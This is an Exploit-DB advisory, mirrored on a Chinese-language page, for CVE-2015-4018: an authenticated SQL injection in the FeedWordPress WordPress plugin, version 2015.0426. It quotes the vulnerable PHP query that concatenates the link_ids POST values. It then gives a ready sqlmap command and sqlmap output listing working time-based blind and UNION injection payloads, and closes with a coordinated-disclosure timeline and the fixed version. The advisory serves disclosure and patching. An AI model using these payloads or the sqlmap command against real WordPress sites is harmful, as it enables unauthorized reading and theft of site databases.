WordPress Plugin FeedWordPress 2015.0426 – SQL Injection

  • 作者: Adrián M. F.
    日期: 2015-05-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37067/
  • # Exploit Title: SQLi in FeedWordPress WordPress plugin
    # Date: 2015-05-19
    # Exploit Author: Adrián M. F.
    # Vendor Homepage: https://wordpress.org/plugins/feedwordpress/
    # Vulnerable version: 2015.0426
    # Fixed version: 2015.0514
    # CVE : CVE-2015-4018
    
    
    (1) Authenticated SQLi [CWE-89]
    -------------------------------
    
    * CODE:
    feedwordpresssyndicationpage.class.php:89
    +++++++++++++++++++++++++++++++++++++++++
    $targets = $wpdb->get_results("
    SELECT * FROM $wpdb->links
    WHERE link_id IN (".implode(",",$_POST['link_ids']).")
    ");
    +++++++++++++++++++++++++++++++++++++++++
    http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php
    POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]
    
    * POC:
    SQLMap
    +++++++++++++++++++++++++++++++++++++++++
    ./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"
    [............]
    POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
    sqlmap identified the following injection points with a total of 62 HTTP(s) requests:
    ---
    Parameter: link_ids[] (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794
    
    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)-- 
    ---
    [10:40:14] [INFO] the back-end DBMS is MySQL
    web server operating system: Linux Debian 7.0 (wheezy)
    web application technology: Apache 2.2.22, PHP 5.4.39
    back-end DBMS: MySQL 5.0.12
    +++++++++++++++++++++++++++++++++++++++++
    
    Timeline
    ========
    2015-05-09: Discovered vulnerability.
    2015-05-14: Vendor notification.
    2015-05-14: Vendor response and fix.
    2015-05-19: Public disclosure.